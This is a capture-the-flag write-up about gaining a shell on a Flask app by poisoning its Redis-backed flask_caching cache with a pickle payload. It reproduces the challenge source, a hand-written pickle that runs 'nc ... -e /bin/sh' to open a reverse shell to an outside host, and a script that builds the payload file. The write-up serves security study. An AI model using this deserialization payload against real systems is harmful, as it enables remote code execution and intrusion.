CTF Flask Caching

This was for a CTF challenge that was completed for the UF student info-security team

Basically, because I’m too lazy to go into great detail on this one, the challenge consisted of the following source:

#!/usr/bin/env python3

from flask import Flask
from flask import request, redirect
from flask_caching import Cache
from redis import Redis
import jinja2
import os

app = Flask(__name__)
app.config["CACHE_REDIS_HOST"] = "localhost"
# app.config["DEBUG"] = False
app.config["DEBUG"] = True

cache = Cache(app, config={"CACHE_TYPE": "redis"})
redis = Redis("localhost")
jinja_env = jinja2.Environment(autoescape=["html", "xml"])


@app.route("/", methods=["GET", "POST"])
def notes_post():
    if request.method == "GET":
        return """
        <h4>Post a note</h4>
        <form method=POST enctype=multipart/form-data>
        <input name=title placeholder=title>
        <input type=file name=content placeholder=content>
        <input type=submit>
        </form>
        """

    print(request.form, flush=True)
    print(request.files, flush=True)
    title = request.form.get("title", default=None)
    content = request.files.get("content", default=None)

    if title is None or content is None:
        return "Missing fields", 400

    content = content.stream.read()

    if len(title) > 100 or len(content) > 256:
        return "Too long", 400

    redis.setex(
        name=title, value=content, time=3
    )  # Note will only live for max 30 seconds

    return "Thanks!"


# This caching stuff is cool! Lets make a bunch of cached functions.


@cache.cached(timeout=3)
def _test0():
    return "test"


@app.route("/test0")
def test0():
    print(_test0())
    return "test"


@cache.cached(timeout=3)
def _test1():
    return "test"


@app.route("/test1")
def test1():
    _test1()
    return "test"


@cache.cached(timeout=3)
def _test2():
    return "test"


@app.route("/test2")
def test2():
    _test2()
    return "test"


@cache.cached(timeout=3)
def _test3():
    return "test"


@app.route("/test3")
def test3():
    _test3()
    return "test"


@cache.cached(timeout=3)
def _test4():
    return "test"


@app.route("/test4")
def test4():
    _test4()
    return "test"


@cache.cached(timeout=3)
def _test5():
    return "test"


@app.route("/test5")
def test5():
    _test5()
    return "test"


@cache.cached(timeout=3)
def _test6():
    return "test"


@app.route("/test6")
def test6():
    _test6()
    return "test"


@cache.cached(timeout=3)
def _test7():
    return "test"


@app.route("/test7")
def test7():
    _test7()
    return "test"


@cache.cached(timeout=3)
def _test8():
    return "test"


@app.route("/test8")
def test8():
    _test8()
    return "test"


@cache.cached(timeout=3)
def _test9():
    return "test"


@app.route("/test9")
def test9():
    _test9()
    return "test"


@cache.cached(timeout=3)
def _test10():
    return "test"


@app.route("/test10")
def test10():
    _test10()
    return "test"


@cache.cached(timeout=3)
def _test11():
    return "test"


@app.route("/test11")
def test11():
    _test11()
    return "test"


@cache.cached(timeout=3)
def _test12():
    return "test"


@app.route("/test12")
def test12():
    _test12()
    return "test"


@cache.cached(timeout=3)
def _test13():
    return "test"


@app.route("/test13")
def test13():
    _test13()
    return "test"


@cache.cached(timeout=3)
def _test14():
    return "test"


@app.route("/test14")
def test14():
    _test14()
    return "test"


@cache.cached(timeout=3)
def _test15():
    return "test"


@app.route("/test15")
def test15():
    _test15()
    return "test"


@cache.cached(timeout=3)
def _test16():
    return "test"


@app.route("/test16")
def test16():
    _test16()
    return "test"


@cache.cached(timeout=3)
def _test17():
    return "test"


@app.route("/test17")
def test17():
    _test17()
    return "test"


@cache.cached(timeout=3)
def _test18():
    return "test"


@app.route("/test18")
def test18():
    _test18()
    return "test"


@cache.cached(timeout=3)
def _test19():
    return "test"


@app.route("/test19")
def test19():
    _test19()
    return "test"


@cache.cached(timeout=3)
def _test20():
    return "test"


@app.route("/test20")
def test20():
    _test20()
    return "test"


@cache.cached(timeout=3)
def _test21():
    return "test"


@app.route("/test21")
def test21():
    _test21()
    return "test"


@cache.cached(timeout=3)
def _test22():
    return "test"


@app.route("/test22")
def test22():
    _test22()
    return "test"


@cache.cached(timeout=3)
def _test23():
    return "test"


@app.route("/test23")
def test23():
    _test23()
    return "test"


@cache.cached(timeout=3)
def _test24():
    return "test"


@app.route("/test24")
def test24():
    _test24()
    return "test"


@cache.cached(timeout=3)
def _test25():
    return "test"


@app.route("/test25")
def test25():
    _test25()
    return "test"


@cache.cached(timeout=3)
def _test26():
    return "test"


@app.route("/test26")
def test26():
    _test26()
    return "test"


@cache.cached(timeout=3)
def _test27():
    return "test"


@app.route("/test27")
def test27():
    _test27()
    return "test"


@cache.cached(timeout=3)
def _test28():
    return "test"


@app.route("/test28")
def test28():
    _test28()
    return "test"


@cache.cached(timeout=3)
def _test29():
    return "test"


@app.route("/test29")
def test29():
    _test29()
    return "test"


@cache.cached(timeout=3)
def _test30():
    return "test"


@app.route("/test30")
def test30():
    _test30()
    return "test"


if __name__ == "__main__":
    app.run("0.0.0.0", 5000)

This is a little Flask app with caching on its routes that is backed by a Redis server.

We discovered pretty quickly that we needed to upload some kind of code to the server and have that code executed by the cache decorator b/c of funny business going on with how the cache function loads data in (with pickles). I smelled a pickle in this exploit when I poked through the code for the cache decorator and saw mentions of loading and unloading pickle-like objects.

The Exploit

Funnily enough, after trying multiple different nonfunctional payloads, our answer was found within the OFFICIAL python3 documentation on pickles. This link shows how a pretty compact looking pickle lets us import and execute shellcode using the os module. Below is a form of this pickle that has been crafted to connect to a DO Droplet:

pickle

!cos
system
(S'nc REDACTED-IP 6969 -e /bin/sh'
tR.%

One question that we had while crafting this pickle was whether or not the challenge was intended to be solved in such a way and if there was a better approach than this one. Nevertheless, a shell is always a nice thing to have :)

The exploit code:

#!/usr/bin/env python3

import os
import pickle


def main():
    with open("payload.tmp", "wb") as f:
        # pickle.dump(payload, f)
        pickle.dump(b"cos\nsystem\n(S'echo hello world'\ntR.", f)

    with open("payload", "wb") as f:
        old_file = open("payload.tmp", "rb").read()
        f.write(b"!" + old_file)


if __name__ == "__main__":
    main()

We then uploaded this payload and got our shell :)